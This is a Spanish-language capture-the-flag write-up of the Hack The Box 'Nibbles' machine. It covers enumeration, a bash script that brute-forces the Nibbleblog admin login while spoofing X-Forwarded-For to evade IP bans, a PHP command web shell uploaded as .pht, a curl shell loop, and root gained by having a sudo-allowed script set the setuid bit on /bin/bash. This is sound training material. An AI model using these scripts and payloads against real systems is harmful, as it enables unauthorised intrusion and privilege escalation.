Nibbles

Difficulty : Easy
Operating System : Linux
Rating : 3.8
Author : mrb3n
Description
Esta maquina es bastante sencilla aunque me ha resultado divertida porque me ha obligado a crear un script personalizado para la primera parte de la intrusion. La escalada hacia el usuario root resulto ser excesivamente sencilla y algo aburrida.
Enumeration
Para la enumeracion basica vamos a utilizar una tool que he desarrollado especificamente para trabajar con maquinas en la plataforma hackthebox. Esta herramienta crea la carpeta de trabajo, realiza un escaneo basico con nmap y si encuentra un servicio web le lanza una enumeracion basica.
Descarga: HTBenum
Nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
| 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Whatweb
http://nibbles.htb [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.253.93]
HTTP Headers
HTTP/1.1 200 OK
Date: Tue, 09 Nov 2021 12:43:13 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 28 Dec 2017 20:19:50 GMT
ETag: "5d-5616c3cf7fa77"
Accept-Ranges: bytes
Content-Length: 93
Vary: Accept-Encoding
Content-Type: text/html
ffuz
CODE
- Nikto v2.1.6/2.1.5
+ Target Host: nibbles.htb
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type.
+ HEAD Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.46). Apache 2.2.34 is the EOL for the 2.x branch.
+ GET Server may leak inodes via ETags, header found with file /, inode: 5d, size: 5616c3cf7fa77, mtime: gzip
+ OPTIONS Allowed HTTP Methods: GET, HEAD, POST, OPTIONS
+ OSVDB-3233: GET /icons/README: Apache default file found.
User Own
Al visitar la web principal de la maquina objetivo obtenemos solamente la entrada "Hello World!" , pero revisando el codigo fuente obtenemos un directorio mas interesante
[root@htb nibbles]# curl http://nibbles.htb
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->
http://nibbles.htb/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.253.93], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]
ffuf
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://nibbles.htb/nibbleblog/FUZZ/
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
content [Status: 200, Size: 1353, Words: 88, Lines: 19]
themes [Status: 200, Size: 1741, Words: 112, Lines: 21]
admin [Status: 200, Size: 2127, Words: 136, Lines: 23]
plugins [Status: 200, Size: 3777, Words: 232, Lines: 31]
languages [Status: 200, Size: 3167, Words: 208, Lines: 28]
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.1-dev
________________________________________________
:: Method : GET
:: URL : http://nibbles.htb/nibbleblog/FUZZ.php
:: Wordlist : FUZZ: /opt/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405
________________________________________________
feed [Status: 200, Size: 302, Words: 8, Lines: 8]
sitemap [Status: 200, Size: 402, Words: 33, Lines: 11]
admin [Status: 200, Size: 1401, Words: 79, Lines: 27]
index [Status: 200, Size: 2987, Words: 116, Lines: 61]
install [Status: 200, Size: 78, Words: 11, Lines: 1]
update [Status: 200, Size: 1622, Words: 103, Lines: 88]
Con estos datos podemos ver dos archivos interesantes: admin.php que nos llevara a un panel de administracion y update.php que nos dara informacion de archivos sensibles

La funcion update.php finalmente no resulta ser de interes, pero nos lleva a un directorio donde se encuentra un fichero que si lo es: http://nibbles.htb/nibbleblog/content/private/users.xml y encuentro un usuario : admin

Sabiendo que existe un usuario llamado admin me dispongo a probar varias contraseñas aleatorias en http://nibbles.htb/nibbleblog/admin.php con la intencion de entrar con credenciales por defecto.. pero tras unos cuantos intentos obtengo un error y un baneo

Ojeando los archivos disponibles en las urls que obtuvimos con ffuf, encuentro la funcion que bloquea los intentos fallidos de login en la ruta http://nibbles.htb/nibbleblog/admin/boot/rules/3-variables.bit y veo que las ips son bloqueadas tras 5 intentos fallidos por un tiempo de 5 minutos

Tambien podemos ver almacenados la ip y los intentos fallidos en el archivo http://nibbles.htb/nibbleblog/content/private/users.xml

Llegados a este punto, mi intencion es hacer bruteforce a la ruta http://nibbles.htb/nibbleblog/admin.php saltandome el bloqueo por ip.
Primero necesito ver como se hace el POST del login para reproducirlo por consola. Para este cometido voy a utilizar burp

Sabiendo que se utiliza una autenticacion basica, puedo reproducirla con curl
[root@htb nibbles]# curl -d 'username=admin&password=pruebaa' -L http://nibbles.htb/nibbleblog/admin.php
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name='robots' content='noindex,nofollow' />
<title>Nibbleblog</title>
<link rel="stylesheet" type="text/css" href="/nibbleblog/admin/templates/default/css/normalize.css" />
<link rel="stylesheet" type="text/css" href="/nibbleblog/admin/templates/login/css/main.css" />
<!-- Javascript -->
<script charset="utf-8" src="/nibbleblog/admin/js/system.php"></script>
<script charset="utf-8" src="/nibbleblog/admin/js/functions.js"></script>
<!-- FAVICON -->
<link rel="shortcut icon" href="/nibbleblog/admin/templates/default/css/img/favicon.ico" type="image/x-icon" />
</head>
<body>
<div id="container">
<div class="title">Sign in to Nibbleblog admin area</div><div id="alert">Incorrect username or password. <a href="/nibbleblog/admin.php?controller=user&action=send_forgot">Forgot password</a></div><form id="js_form" name="form" method="post" ><div class="form_block" ><input class="username" name="username" type="text" placeholder="Username" autocomplete="off" maxlength="254" /></div><div class="form_block" ><input class="password" name="password" type="password" placeholder="Password" autocomplete="off" maxlength="254" /></div><div class="form_block" ><input type="checkbox" id="js_remember" name="remember" class="float" value="1"/><label class="for_checkbox remember" for="js_remember" >Remember me</label><input type="submit" class="save" value="Login" /></div></form><a class="back" href="/nibbleblog/" >←Back to blog</a>
</div>
</body>
Para sortear el bloqueo de ip con curl podemos hacer uso del header X-Forwarded-For que nos permitira hacer spoof con la ip que nosotros queramos
[root@htb nibbles]# curl --header "X-Forwarded-For: 10.10.10.254" -d 'username=admin&password=pruebaa' -L http://nibbles.htb/nibbleblog/admin.php
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name='robots' content='noindex,nofollow' />
<title>Nibbleblog</title>
<link rel="stylesheet" type="text/css" href="/nibbleblog/admin/templates/default/css/normalize.css" />
<link rel="stylesheet" type="text/css" href="/nibbleblog/admin/templates/login/css/main.css" />
<!-- Javascript -->
<script charset="utf-8" src="/nibbleblog/admin/js/system.php"></script>
<script charset="utf-8" src="/nibbleblog/admin/js/functions.js"></script>
<!-- FAVICON -->
<link rel="shortcut icon" href="/nibbleblog/admin/templates/default/css/img/favicon.ico" type="image/x-icon" />
</head>
<body>
<div id="container">
<div class="title">Sign in to Nibbleblog admin area</div><div id="alert">Incorrect username or password. <a href="/nibbleblog/admin.php?controller=user&action=send_forgot">Forgot password</a></div><form id="js_form" name="form" method="post" ><div class="form_block" ><input class="username" name="username" type="text" placeholder="Username" autocomplete="off" maxlength="254" /></div><div class="form_block" ><input class="password" name="password" type="password" placeholder="Password" autocomplete="off" maxlength="254" /></div><div class="form_block" ><input type="checkbox" id="js_remember" name="remember" class="float" value="1"/><label class="for_checkbox remember" for="js_remember" >Remember me</label><input type="submit" class="save" value="Login" /></div></form><a class="back" href="/nibbleblog/" >←Back to blog</a>
</div>
</body>
Pues con toda la informacion recopilada hasta ahora, voy a construir un script para hacer fuerza bruta tirando del diccionario rockyou.txt , utilizando ips aleatorias para pasar el parametro X-Forwarded-For y que de por buena cualquier password que no devuelva la palabra Incorrect en la respuesta del servidor
brute.sh
#!/bin/bash
trap 'rm -rf "$TMPFILE"' EXIT
#Variables
ROCKYOU="/opt/SecLists/Passwords/Leaked-Databases/rockyou.txt"
TMPFILE=$(mktemp)
#Function
brute(){
for i in $(cat $ROCKYOU);do
local IP=$(( $RANDOM % 255 )).$(( $RANDOM % 255 )).$(( $RANDOM % 255 )).$(( $RANDOM % 255 ))
curl -s --header "X-Forwarded-For: $IP" -d 'username=admin&password='$i'' -L http://nibbles.htb/nibbleblog/admin.php > $TMPFILE
if cat $TMPFILE | grep -qi "Incorrect"; then
:
else
echo "Password Found!!: $i"
exit 1
fi
done
}
#RunAway
brute
[root@htb nibbles]# time ./brute.sh
Password Found!!: nibbles
real 19m22,121s
user 0m44,332s
sys 6m58,953s
adminnibbles

Una vez logeado en el dashboard, mi intencion es buscar alguna funcion con la que pueda hacer un upload, para subir una webshell y escalar privilegios. Despues de buscar un rato y probar varias funciones encuentro un plugin llamado about que me permite subir una imagen, voy a probar a subir un fichero .pht con un codigo malicioso...

Primero subo una imagen jpg para encontrar la ruta donde se almacenan los archivos subidos

Ahora voy a subir el siguiente codigo con el nombre cmd.pht
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST["cmd"]);
system($cmd);
die;}
?>
La ruta es : http://nibbles.htb/nibbleblog/content/private/plugins/about/profile_picture.pht
Ahora voy a llamarlo con una "fakeshell" para trabajar un poco mas comodo con la shell
fakeshell.sh
#!/usr/bin/env bash
URL="http://nibbles.htb/nibbleblog/content/private/plugins/about/profile_picture.pht"
while true;do
echo -n "$ " && read -r command
curl -s -G ${URL} --data-urlencode "cmd=$command"
done
[root@htb nibbles]# ./fakeshell.sh
$ id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
Para escalar privilegios voy a necesitar una shell interactiva, por lo que voy a subir al servidor una rshell en perl y le voy a aplicar un tratamiento de la tty para trabajar con ella

Para realizar un tratamiento de la tty haremos lo siguiente:
python3 -c 'import pty; pty.spawn("/bin/bash")'
* Presionamos CTRL+Z para enviar el netcat a segundo plano.
stty raw -echo
fg
reset
Terminal type? xterm
stty rows 51 columns 161 # en mi caso, para ver otro escribe: stty -a (en cualquier terminal de escritorio)
export TERM=xterm;export SHELL=bash
Ahora que tengo una terminal decente, puedo ver la flag en la carpeta home del usuario y continuar con la escalada
nibbler@Nibbles:/home/nibbler$ ls -alt
total 20
-r-------- 1 nibbler nibbler 33 Nov 10 05:13 user.txt
drwxr-xr-x 3 nibbler nibbler 4096 Dec 29 2017 .
-rw------- 1 nibbler nibbler 0 Dec 29 2017 .bash_history
-r-------- 1 nibbler nibbler 1855 Dec 10 2017 personal.zip
drwxrwxr-x 2 nibbler nibbler 4096 Dec 10 2017 .nano
drwxr-xr-x 3 root root 4096 Dec 10 2017 ..
Root Own
Siguiendo con la escalada hacia el usuario root veo que hay un archivo llamado personal.zip lo descomprimo y veo que tengo permisos en sudoers para llamar a un script dentro de la ruta donde se ha descomprimido el zip
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh
Como en principio tengo permisos para ejecutar cualquier script en esa ruta con el nombre monitor.sh no me interesa el script descomprimido, lo elimino y creo uno que setee el bit setuid a /bin/bash para ejecutarlo despues con sudo
nibbler@Nibbles:/home/nibbler/personal/stuff$ cat monitor.sh
#!/bin/bash
chmod 4755 /bin/bash
nibbler@Nibbles:/home/nibbler/personal/stuff$ sudo /home/nibbler/personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler/personal/stuff$ /bin/bash -p
bash-4.3# id
uid=1001(nibbler) gid=1001(nibbler) euid=0(root) groups=1001(nibbler)
bash-4.3# ls /root/
root.txt
bash-4.3#